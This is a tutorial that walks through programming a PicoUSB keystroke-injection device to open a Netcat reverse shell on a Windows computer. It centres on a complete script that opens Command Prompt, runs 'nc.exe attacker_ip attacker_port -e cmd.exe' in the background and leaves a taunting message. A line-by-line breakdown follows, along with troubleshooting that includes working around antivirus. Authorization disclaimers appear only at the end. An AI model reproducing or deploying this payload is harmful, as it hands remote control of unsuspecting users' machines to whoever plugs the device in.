Creating a Reverse Shell with PicoUSB: A Comprehensive Guide

Creating a Reverse Shell with PicoUSB: A Comprehensive Guide

In the ever-evolving landscape of cybersecurity, tools that enable precise automation and control can make a significant difference. PicoUSB devices are among those tools, offering a compact yet powerful way to emulate keyboard input and perform automated tasks. In this detailed guide, we’ll explore how to leverage a PicoUSB device to create a reverse shell on a Windows system. This post will provide a thorough walkthrough, from understanding PicoUSB devices to implementing a reverse shell script.

What is a PicoUSB Device?

A PicoUSB device is a compact USB peripheral capable of emulating input devices like keyboards or mice. It is widely used in penetration testing, security research, and automation due to its small size and ability to perform automated keystroke injections.

Key Features

• Compact Form Factor: Its small size allows for discreet deployment.
• Keyboard and Mouse Emulation: Can simulate user input to interact with the target system.
• Customizable Scripting: Allows for programming custom sequences of actions.

Why Use PicoUSB?

• Stealth: Its size and functionality make it difficult to detect.
• Efficiency: Automates repetitive tasks or complex sequences.
• Versatility: Can be programmed for a variety of uses beyond just reverse shells.

To help visualize how the PicoUSB device works, here’s an image:

Prerequisites

Before diving into the script, ensure you have the following:

• PicoUSB Device: A programmable USB device such as a Digispark, RubberDucky, PicoUSB, or similar.
• Netcat (nc.exe): A versatile networking utility used for creating reverse shells.
• Arduino IDE or Similar Programming Environment: For writing and uploading scripts to your PicoUSB device.

Understanding Reverse Shells

A reverse shell is a type of shell where the target machine initiates a connection back to the attacker’s machine. This technique is often used to bypass firewalls and NAT (Network Address Translation) restrictions, as outbound connections are generally less restricted than inbound connections.

Why Use Netcat?

Netcat (often abbreviated as nc) is a powerful networking utility that can read and write data across network connections using TCP or UDP. It’s commonly used for:

• Network Diagnostics: Testing and debugging network services.
• File Transfers: Sending and receiving files over a network.
• Reverse Shells: Creating interactive shells that connect back to an attacker’s machine.

Programming Environment

To program your PicoUSB device, you’ll typically use a development environment like the Arduino IDE. This guide assumes you’re using a device compatible with Arduino-like environments.

Setting Up Your Environment

1. Install Arduino IDE: Download and install the Arduino IDE from the official website.
2. Install Device Drivers: Ensure you have the necessary drivers for your PicoUSB device. For example, Digispark and Teensy devices have specific drivers and setup procedures.
3. Select Your Board: In the Arduino IDE, select the appropriate board from the Tools menu.

Crafting the Reverse Shell Script

Below is the script to create a reverse shell using a PicoUSB device. This script opens Command Prompt, runs a Netcat reverse shell, and sends a custom message.

The Script

// PicoUSB/ pseudocode for a reverse shell

void setup() {
  delay(120000);  // Wait for 120 seconds

  // Open Command Prompt
  Keyboard.press(KEY_LEFT_GUI);  // Press Windows key
  delay(2000);  // Wait for 2 seconds
  Keyboard.release(KEY_LEFT_GUI);
  
  Keyboard.print("cmd");  // Type "cmd" to open Command Prompt
  Keyboard.press(KEY_RETURN);  // Press Enter
  delay(2000);  // Wait for Command Prompt to open
  Keyboard.release(KEY_RETURN);
  
  // Run Netcat Reverse Shell
  Keyboard.print("start /b nc.exe attacker_ip attacker_port -e cmd.exe");  // Command to run Netcat in the background
  Keyboard.press(KEY_RETURN);  // Press Enter to execute the command
  delay(1000);  // Wait for the command to execute
  
  // Send Custom Message
  Keyboard.print("echo Nito was here, Mess with the Best Die like the Rest");  // Custom message
  Keyboard.press(KEY_RETURN);  // Press Enter to execute the command
  delay(1000);  // Wait for the command to execute
}

void loop() {
  // Empty loop, no repeated actions needed
}

Script Breakdown

Initialization and Delay

delay(120000);  // Wait for 120 seconds

This delay ensures the system has time to stabilize before the script begins executing commands.

Simulating Windows Key Press

Keyboard.press(KEY_LEFT_GUI);  // Press Windows key
delay(2000);  // Wait for 2 seconds
Keyboard.release(KEY_LEFT_GUI);

Presses and releases the Windows key to open the Start menu.

Opening Command Prompt

Keyboard.print("cmd");  // Type "cmd" to open Command Prompt
Keyboard.press(KEY_RETURN);  // Press Enter
delay(2000);  // Wait for Command Prompt to open
Keyboard.release(KEY_RETURN);

Types cmd and presses Enter to open Command Prompt.

Executing the Reverse Shell Command

Keyboard.print("start /b nc.exe attacker_ip attacker_port -e cmd.exe");  // Command to run Netcat in the background
Keyboard.press(KEY_RETURN);  // Press Enter to execute the command
delay(1000);  // Wait for the command to execute

Runs Netcat in the background to create a reverse shell connection. Replace attacker_ip and attacker_port with your actual IP address and port.

Sending a Custom Message

Keyboard.print("echo Nito was here, Mess with the Best Die like the Rest");  // Custom message
Keyboard.press(KEY_RETURN);  // Press Enter to execute the command
delay(1000);  // Wait for the command to execute

Sends a message to the Command Prompt.

Potential Issues and Troubleshooting

1. Netcat Not Found

• Issue: If Netcat (nc.exe) is not present on the target system, the reverse shell command will fail.
• Solution: Ensure that Netcat is available on the target system or use an alternative tool.

2. Delays and Timing Issues

• Issue: Timing issues can prevent commands from executing correctly if delays are too short or too long.
• Solution: Adjust the delay() values as needed to ensure proper execution.

3. Detection and Antivirus

• Issue: Modern security software may detect and block the reverse shell or USB emulation.
• Solution: Be aware of the security measures in place and adjust your approach accordingly.

4. Device Compatibility

• Issue: The script may not work if the PicoUSB device is not properly configured or if there are driver issues.
• Solution: Verify that your device is correctly set up and that you have the right drivers installed.

Best Practices

1. Use Responsibly

• Authorization: Always have explicit permission before deploying reverse shells. Unauthorized access is illegal and unethical.
• Ethical Use: Use these techniques for legitimate security assessments and educational purposes only.

2. Continuous Learning

• Stay Updated: Security practices and tools evolve rapidly. Keep up with the latest developments in cybersecurity.
• Practice: Regularly test your skills and tools in controlled environments to refine your techniques.

Conclusion

Deploying a reverse shell using a PicoUSB device is a powerful method for penetration testing and security research. This guide has provided a detailed walkthrough of creating and deploying a reverse shell script. By understanding the intricacies of PicoUSB devices and Netcat, you can effectively use these tools to explore and improve security.

Remember to use such tools ethically and legally. Always test in controlled environments and ensure you have proper authorization before deploying any reverse shell.

Feel free to adapt the script to your needs and stay informed about the latest in cybersecurity to continue honing your skills.